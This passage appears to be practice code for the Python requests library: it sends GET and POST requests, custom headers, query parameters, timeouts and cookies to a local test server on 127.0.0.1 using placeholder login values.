username='CrissChan'
password='CrissChan'
payload = {'username': username,'password':password}
res_login = requests.post(url_login,data=json.dumps(payload))# 字符串参数
res_login = requests.post(url_login,data=payload)#form传参,参数'username': 'CrissChan','password':'password'
payload = (('color', 'red'),('color','green'))
res_login = requests.post(url_login,data=payload)# form传递,参数'color':['red','green']
print(res_login.cookies['username'])
print(res_login.text)
print(res_login.status_code)
print(res_login.headers)
## get
print('--------get-------')
url = 'http://127.0.0.1:12356'
res_index = requests.get(url)
print(res_index.encoding)
print(res_index.json())
res_index = requests.get(url,stream=True)
print(res_index.raw)
if res_index.status_code == requests.codes.ok:
print(requests.codes.ok)
print(res_index.text)
print(res_index.status_code)
print(res_index.headers)
print(res_index.headers['Content-Type'])
print(res_index.headers['content-type'])
print(res_index.headers.get('Content-Type'))
print(res_index.headers.get('content-type'))
## get--headers
print('--------get-headers------')
url = 'http://127.0.0.1:12356'
headers = {'Host': '127.0.0.1',
'Connection': 'keep-alive',
'Content-Type': 'text/plain',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate, br',
'X-usrg': 'criss'}
res_index = requests.get(url,headers = headers)
print(res_index.text)
print(res_index.status_code)
print(res_index.headers)
## get_param
print('--------get_param-------')
url_diff = 'http://127.0.0.1:12356/diff'
payload = {'diff':'easy'}
res_diff = requests.get(url_diff,params=payload)
print(res_diff.text)
print(res_diff.status_code)
print(res_diff.headers)
## 超时
res_github=requests.get('http://github.com',timeout=0.001)
## post
print('--------post-------')
url_login = 'http://127.0.0.1:12356/login'
username='CrissChan'
password='CrissChan'
payload = {'username': username,'password':password}
res_login = requests.post(url_login,data=json.dumps(payload))
print(res_login.cookies['username'])
print(res_login.text)
print(res_login.status_code)
print(res_login.headers)
## ReqeustsCookieJar
cookie_jar = requests.cookies.RequestsCookieJar()
cookie_jar.set('JSESSIONID', '23A15FE6655327749BC822A79CF77198', domain='127.0.0.1', path='/')
url = 'http://127.0.0.1:12356'
r = requests.get(url, cookies=cookie_jar)
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.